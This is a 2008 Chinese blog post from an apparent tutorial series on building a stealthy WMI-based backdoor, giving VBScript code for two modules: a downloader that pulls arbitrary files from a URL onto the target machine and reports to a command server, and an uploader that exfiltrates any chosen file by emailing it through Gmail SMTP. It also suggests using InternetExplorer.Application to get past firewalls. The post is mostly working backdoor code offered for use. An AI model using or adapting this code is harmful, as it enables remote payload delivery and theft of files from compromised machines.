利用WMI打造完美“三无”后门-Downloader and Uploader

  Welcome!各位ScriptKid,欢迎来到脚本世界。

  终于到周末。可以多陪陪家人,玩玩游戏,研究研究自己感兴趣的东西了。

  今天继续的是两个很简单的功能,下载指定文件到目标机器与获取目标机器任意文件。

  直接来看示例代码。

Downloader

Function DownLoadFile
Set Http=CreateObject("WinHttp.WinHttpRequest.5.1") //想绕过防火墙请使用InternetExplorer.Application
SplitCmd=Split(CmdText,"|") //分离命令参数。命令格式是:命令号|远程URL|本地文件|超时时间
If UBound(SplitCmd)<3 Then //简单判断命令格式是否合法
Http.Open "GET","http://"&CmdServer&"/"&ServerPath&"/out.asp?cmdresult=Command Error!&macaddress="&CmdFile,True
Http.send
Exit Function
End If
Url=SplitCmd(1) //提取URL
LocalFile=SplitCmd(2) //提取本地文件路径
TimeOut=SplitCmd(3) //提取超时时间
Http.Open "GET",Url,False
Http.Send
If Http.Status>299 OR Not Http.WaitForResponse(Timeout) Then //如果返回码>299或者超时
Http.Open "GET","http://"&CmdServer&"/"&ServerPath&"/out.asp?cmdresult=File DownLoad Error!&macaddress=""&CmdFile,True
Http.send
Else
fso.CreateTextFile(LocalFile) //写入本地文件
ASO.open:ASO.loadfromfile LocalFile
ASO.position=0
ASO.type=1
ASO.Write Http.ResponseBody
ASO.SaveToFile LocalFile,2
ASO.close
Http.Open "GET","http://"&CmdServer&"/"&ServerPath&"/out.asp?cmdresult=File DownLoad Success!&macaddress="&CmdFile,True
Http.send
End If
End Function

Uploader

这里用的是邮件附件的方式发送我们指定的任意文件。不是最好的方式。不过顺便也当介绍一下如何用vbs发送邮件(支持SSL)

Function SendFile
GetFileName=Mid(Trim(CmdText),9,Len(Trim(CmdText))-8)   //另一种比较土的分离命令参数方法。命令格式:getfile|文件绝对路径
Set Email = CreateObject("CDO.Message") //创建CDO.Message对象
NameSpace = "http://schemas.microsoft.com/cdo/configuration/" //指定名称空间
Email.From = "scriptkidstest@gmail.com" //发信信箱
Email.To = "scriptkidstest@gmail.com" //收信信箱
Email.Subject = "File That You Want-"&CmdFile&"-"&GetFileName //邮件主题
Email.Textbody = "File That You Want" //邮件内容
Email.AddAttachment GetFileName,true //附上我们指定的文件
With Email.Configuration.Fields //设定发送邮件的参数
.Item(NameSpace&"sendusing") = 2 //cdoSendUsingPort
.Item(NameSpace&"smtpserver") = "smtp.gmail.com" //smtp服务器
.Item(NameSpace&"smtpserverport") = 465 //smtp端口。Gmail是465
.Item(NameSpace&"smtpusessl") = true //Gmail使用的是ssl
.Item(NameSpace&"smtpauthenticate") = 1 //认证方式。basic
.Item(NameSpace&"sendusername") = "scriptkidstest@gmail.com" //登录smtp的用户名
.Item(NameSpace&"sendpassword") = "lalalalalaooolll" //密码,不用试了肯定不对^0^
.Update //更新配置
End With
Email.Send
Http.Open "GET","http://"&CmdServer&"/"&ServerPath&"/out.asp?cmdresult=File Has Been Sended!&macaddress="&CmdFile,true //嘿!已经发过去了,赶紧收信吧
Http.send
End Function

posted on 2008-09-18 15:19  %5C  阅读(879)  评论(0编辑  收藏  举报